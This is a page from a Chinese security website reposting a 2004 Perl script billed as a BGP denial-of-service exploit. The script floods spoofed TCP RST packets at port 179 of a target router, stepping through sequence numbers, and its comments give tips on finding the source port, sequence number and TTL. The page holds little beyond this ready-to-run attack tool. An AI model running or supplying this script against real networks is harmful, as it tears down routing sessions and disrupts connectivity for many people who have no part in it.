首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
BGP denial of service exploit
来源:www.ic.al.lg.ua 作者:Rich 发布时间:2004-04-26  

#!/usr/bin/perl
#
# Rich's BGP DOS!
# version .02
# Sends out RST flood to DOS BGP Connections
#
# Requires getopts.pl and Net:RawIP (http://www.ic.al.lg.ua/~ksv/)
#
#For this to work you must do a preceding scan to figure out what the source port and sequence number should be!
#Cisco routers have a magic source port after reboot and all subsequent source ports are incremented by 1 or 512 depending on IOS
#And also find out the hops to set the ttl w/ traceroute. Per the RFC, the TTL must be 1 when it arrives at the router.
#
#

require 'getopts.pl';
use Net::RawIP;
Getopts('s:p:d:t:x');
$a = new Net::RawIP;
die "Usage $0 -s <spoofed source> -p <source port> -d <destination> -t <ttl>" unless ($opt_s && $opt_p && $opt_d && $opt_t);

$count=0;

while ($count < 4294967296) {

#Increment the count
$count=$count + 16384;

#Create IP packet!
$a->set({ ip =>
{saddr => $opt_s,
daddr => $opt_d,
ttl => $opt_t
},
#Another TCP port could be specified here to do DOSes on other TCP services. BGP is 179
tcp=> {dest => 179,
source => $opt_p,
window => 16384,
seq => $count,
rst => 1}
});
#Send it out!
$a->send;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·TCP Reset Tool v1.2
·Microsoft IIS 5.x SSL PCT Remo
·TCP vulnerability proof of con
·Win Lsasrv.dll RPC buffer over
·UMOD arbitrary file overwritin
·MS04011.cpp
·TCP Connection Reset Remote Wi
·Microsoft Win Utility Manager
·Microsoft windows lsass.exe lo
·kernel 2.x MCAST_MSFILTER Proo
·Windows schannel.dll PCT1 协议
·HP Web JetAdmin 6.5 Remote Roo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved